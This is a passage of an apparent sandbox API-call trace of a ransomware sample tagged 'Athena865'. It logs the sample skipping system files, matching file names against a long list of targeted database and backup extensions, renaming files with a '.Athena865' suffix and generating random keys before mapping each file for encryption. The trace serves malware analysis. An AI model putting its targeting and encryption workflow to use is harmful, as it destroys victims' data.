[0052.429] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.429] lstrlenW (lpString="gwi") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.429] lstrlenW (lpString="hdb") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.429] lstrlenW (lpString="his") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.429] lstrlenW (lpString="ib") returned 2 [0052.429] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.429] lstrlenW (lpString="idb") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.429] lstrlenW (lpString="ihx") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.429] lstrlenW (lpString="itdb") returned 4 [0052.429] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.429] lstrlenW (lpString="itw") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.429] lstrlenW (lpString="jet") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.429] lstrlenW (lpString="jtx") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.429] lstrlenW (lpString="kdb") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.429] lstrlenW (lpString="kexi") returned 4 [0052.429] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.430] lstrlenW (lpString="kexic") returned 5 [0052.430] lstrcmpiW (lpString1="C.lnk", lpString2="kexic") returned -1 [0052.430] lstrlenW (lpString="kexis") returned 5 [0052.430] lstrcmpiW (lpString1="C.lnk", lpString2="kexis") returned -1 [0052.430] lstrlenW (lpString="lgc") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.430] lstrlenW (lpString="lwx") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.430] lstrlenW (lpString="maf") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.430] lstrlenW (lpString="maq") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.430] lstrlenW (lpString="mar") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.430] lstrlenW (lpString="marshal") returned 7 [0052.430] lstrcmpiW (lpString1="5SC.lnk", lpString2="marshal") returned -1 [0052.430] lstrlenW (lpString="mas") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.430] lstrlenW (lpString="mav") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.430] lstrlenW (lpString="maw") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.430] lstrlenW (lpString="mdbhtml") returned 7 [0052.430] lstrcmpiW (lpString1="5SC.lnk", lpString2="mdbhtml") returned -1 [0052.430] lstrlenW (lpString="mdn") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.430] lstrlenW (lpString="mdt") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.430] lstrlenW (lpString="mfd") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.430] lstrlenW (lpString="mpd") returned 3 [0052.430] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.430] lstrlenW (lpString="mrg") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.431] lstrlenW (lpString="mud") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.431] lstrlenW (lpString="mwb") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.431] lstrlenW (lpString="myd") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.431] lstrlenW (lpString="ndf") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.431] lstrlenW (lpString="nnt") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.431] lstrlenW (lpString="nrmlib") returned 6 [0052.431] lstrcmpiW (lpString1="SC.lnk", lpString2="nrmlib") returned 1 [0052.431] lstrlenW (lpString="ns2") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.431] lstrlenW (lpString="ns3") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.431] lstrlenW (lpString="ns4") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.431] lstrlenW (lpString="nsf") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.431] lstrlenW (lpString="nv") returned 2 [0052.431] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.431] lstrlenW (lpString="nv2") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.431] lstrlenW (lpString="nwdb") returned 4 [0052.431] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.431] lstrlenW (lpString="nyf") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.431] lstrlenW (lpString="odb") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.431] lstrlenW (lpString="odb") returned 3 [0052.431] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.432] lstrlenW (lpString="oqy") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.432] lstrlenW (lpString="ora") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.432] lstrlenW (lpString="orx") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.432] lstrlenW (lpString="owc") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.432] lstrlenW (lpString="p96") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.432] lstrlenW (lpString="p97") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.432] lstrlenW (lpString="pan") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.432] lstrlenW (lpString="pdb") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.432] lstrlenW (lpString="pdm") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.432] lstrlenW (lpString="pnz") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.432] lstrlenW (lpString="qry") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.432] lstrlenW (lpString="qvd") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.432] lstrlenW (lpString="rbf") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.432] lstrlenW (lpString="rctd") returned 4 [0052.432] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.432] lstrlenW (lpString="rod") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.432] lstrlenW (lpString="rodx") returned 4 [0052.432] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.432] lstrlenW (lpString="rpd") returned 3 [0052.432] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.433] lstrlenW (lpString="rsd") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.433] lstrlenW (lpString="sas7bdat") returned 8 [0052.433] lstrcmpiW (lpString1="K5SC.lnk", lpString2="sas7bdat") returned -1 [0052.433] lstrlenW (lpString="sbf") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.433] lstrlenW (lpString="scx") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.433] lstrlenW (lpString="sdb") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.433] lstrlenW (lpString="sdc") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.433] lstrlenW (lpString="sdf") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.433] lstrlenW (lpString="sis") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.433] lstrlenW (lpString="spq") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.433] lstrlenW (lpString="te") returned 2 [0052.433] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.433] lstrlenW (lpString="teacher") returned 7 [0052.433] lstrcmpiW (lpString1="5SC.lnk", lpString2="teacher") returned -1 [0052.433] lstrlenW (lpString="tmd") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.433] lstrlenW (lpString="tps") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.433] lstrlenW (lpString="trc") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.433] lstrlenW (lpString="trc") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.433] lstrlenW (lpString="trm") returned 3 [0052.433] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.433] lstrlenW (lpString="udb") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.434] lstrlenW (lpString="udl") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.434] lstrlenW (lpString="usr") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.434] lstrlenW (lpString="v12") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.434] lstrlenW (lpString="vis") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.434] lstrlenW (lpString="vpd") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.434] lstrlenW (lpString="vvv") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.434] lstrlenW (lpString="wdb") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.434] lstrlenW (lpString="wmdb") returned 4 [0052.434] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.434] lstrlenW (lpString="wrk") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.434] lstrlenW (lpString="xdb") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.434] lstrlenW (lpString="xld") returned 3 [0052.434] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.434] lstrlenW (lpString="xmlff") returned 5 [0052.434] lstrcmpiW (lpString1="C.lnk", lpString2="xmlff") returned -1 [0052.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\EK5SC.lnk.Athena865") returned 73 [0052.434] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\EK5SC.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ek5sc.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\EK5SC.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ek5sc.lnk.athena865"), dwFlags=0x1) returned 1 [0052.435] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\EK5SC.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ek5sc.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=981) returned 1 [0052.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.436] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.436] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.437] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.437] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e0, lpName=0x0) returned 0x154 [0052.437] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e0) returned 0x100000 [0052.437] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.438] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.438] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.438] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.439] CloseHandle (hObject=0x154) returned 1 [0052.439] CloseHandle (hObject=0x17c) returned 1 [0052.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.440] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf42f420, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf42f420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf47b6e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eoiR8mIRG.lnk", cAlternateFileName="EOIR8M~1.LNK")) returned 1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2=".") returned 1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="..") returned 1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="windows") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="bootmgr") returned 1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="temp") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="pagefile.sys") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="boot") returned 1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="ids.txt") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="ntuser.dat") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="perflogs") returned -1 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2="MSBuild") returned -1 [0052.440] lstrlenW (lpString="eoiR8mIRG.lnk") returned 13 [0052.440] lstrcpyW (in: lpString1=0x241e8b4, lpString2="eoiR8mIRG.lnk" | out: lpString1="eoiR8mIRG.lnk") returned="eoiR8mIRG.lnk" [0052.440] lstrlenW (lpString="eoiR8mIRG.lnk") returned 13 [0052.440] lstrlenW (lpString="Athena865") returned 9 [0052.440] lstrcmpiW (lpString1="8mIRG.lnk", lpString2="Athena865") returned -1 [0052.440] lstrlenW (lpString=".dll") returned 4 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2=".dll") returned 1 [0052.440] lstrlenW (lpString=".lnk") returned 4 [0052.440] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2=".lnk") returned 1 [0052.440] lstrlenW (lpString=".ini") returned 4 [0052.441] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2=".ini") returned 1 [0052.441] lstrlenW (lpString=".sys") returned 4 [0052.441] lstrcmpiW (lpString1="eoiR8mIRG.lnk", lpString2=".sys") returned 1 [0052.441] lstrlenW (lpString="eoiR8mIRG.lnk") returned 13 [0052.441] lstrlenW (lpString="bak") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.441] lstrlenW (lpString="ba_") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.441] lstrlenW (lpString="dbb") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.441] lstrlenW (lpString="vmdk") returned 4 [0052.441] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.441] lstrlenW (lpString="rar") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.441] lstrlenW (lpString="zip") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.441] lstrlenW (lpString="tgz") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.441] lstrlenW (lpString="vbox") returned 4 [0052.441] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.441] lstrlenW (lpString="vdi") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.441] lstrlenW (lpString="vhd") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.441] lstrlenW (lpString="vhdx") returned 4 [0052.441] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.441] lstrlenW (lpString="avhd") returned 4 [0052.441] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.441] lstrlenW (lpString="db") returned 2 [0052.441] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.441] lstrlenW (lpString="db2") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.441] lstrlenW (lpString="db3") returned 3 [0052.441] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.442] lstrlenW (lpString="dbf") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.442] lstrlenW (lpString="mdf") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.442] lstrlenW (lpString="mdb") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.442] lstrlenW (lpString="sql") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.442] lstrlenW (lpString="sqlite") returned 6 [0052.442] lstrcmpiW (lpString1="RG.lnk", lpString2="sqlite") returned -1 [0052.442] lstrlenW (lpString="sqlite3") returned 7 [0052.442] lstrcmpiW (lpString1="IRG.lnk", lpString2="sqlite3") returned -1 [0052.442] lstrlenW (lpString="sqlitedb") returned 8 [0052.442] lstrcmpiW (lpString1="mIRG.lnk", lpString2="sqlitedb") returned -1 [0052.442] lstrlenW (lpString="xml") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.442] lstrlenW (lpString="$er") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.442] lstrlenW (lpString="4dd") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.442] lstrlenW (lpString="4dl") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.442] lstrlenW (lpString="^^^") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.442] lstrlenW (lpString="abs") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.442] lstrlenW (lpString="abx") returned 3 [0052.442] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.442] lstrlenW (lpString="accdb") returned 5 [0052.442] lstrcmpiW (lpString1="G.lnk", lpString2="accdb") returned 1 [0052.442] lstrlenW (lpString="accdc") returned 5 [0052.442] lstrcmpiW (lpString1="G.lnk", lpString2="accdc") returned 1 [0052.442] lstrlenW (lpString="accde") returned 5 [0052.443] lstrcmpiW (lpString1="G.lnk", lpString2="accde") returned 1 [0052.443] lstrlenW (lpString="accdr") returned 5 [0052.443] lstrcmpiW (lpString1="G.lnk", lpString2="accdr") returned 1 [0052.443] lstrlenW (lpString="accdt") returned 5 [0052.443] lstrcmpiW (lpString1="G.lnk", lpString2="accdt") returned 1 [0052.443] lstrlenW (lpString="accdw") returned 5 [0052.443] lstrcmpiW (lpString1="G.lnk", lpString2="accdw") returned 1 [0052.443] lstrlenW (lpString="accft") returned 5 [0052.443] lstrcmpiW (lpString1="G.lnk", lpString2="accft") returned 1 [0052.443] lstrlenW (lpString="adb") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.443] lstrlenW (lpString="adb") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.443] lstrlenW (lpString="ade") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.443] lstrlenW (lpString="adf") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.443] lstrlenW (lpString="adn") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.443] lstrlenW (lpString="adp") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.443] lstrlenW (lpString="alf") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.443] lstrlenW (lpString="ask") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.443] lstrlenW (lpString="btr") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.443] lstrlenW (lpString="cat") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.443] lstrlenW (lpString="cdb") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.443] lstrlenW (lpString="ckp") returned 3 [0052.443] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.443] lstrlenW (lpString="cma") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.444] lstrlenW (lpString="cpd") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.444] lstrlenW (lpString="dacpac") returned 6 [0052.444] lstrcmpiW (lpString1="RG.lnk", lpString2="dacpac") returned 1 [0052.444] lstrlenW (lpString="dad") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.444] lstrlenW (lpString="dadiagrams") returned 10 [0052.444] lstrcmpiW (lpString1="R8mIRG.lnk", lpString2="dadiagrams") returned 1 [0052.444] lstrlenW (lpString="daschema") returned 8 [0052.444] lstrcmpiW (lpString1="mIRG.lnk", lpString2="daschema") returned 1 [0052.444] lstrlenW (lpString="db-journal") returned 10 [0052.444] lstrcmpiW (lpString1="R8mIRG.lnk", lpString2="db-journal") returned 1 [0052.444] lstrlenW (lpString="db-shm") returned 6 [0052.444] lstrcmpiW (lpString1="RG.lnk", lpString2="db-shm") returned 1 [0052.444] lstrlenW (lpString="db-wal") returned 6 [0052.444] lstrcmpiW (lpString1="RG.lnk", lpString2="db-wal") returned 1 [0052.444] lstrlenW (lpString="dbc") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.444] lstrlenW (lpString="dbs") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.444] lstrlenW (lpString="dbt") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.444] lstrlenW (lpString="dbv") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.444] lstrlenW (lpString="dbx") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.444] lstrlenW (lpString="dcb") returned 3 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.444] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\eoiR8mIRG.lnk.Athena865") returned 77 [0052.445] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\eoiR8mIRG.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\eoir8mirg.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\eoiR8mIRG.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\eoir8mirg.lnk.athena865"), dwFlags=0x1) returned 1 [0052.446] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\eoiR8mIRG.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\eoir8mirg.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.446] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=664) returned 1 [0052.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.446] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.447] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.447] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.447] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, 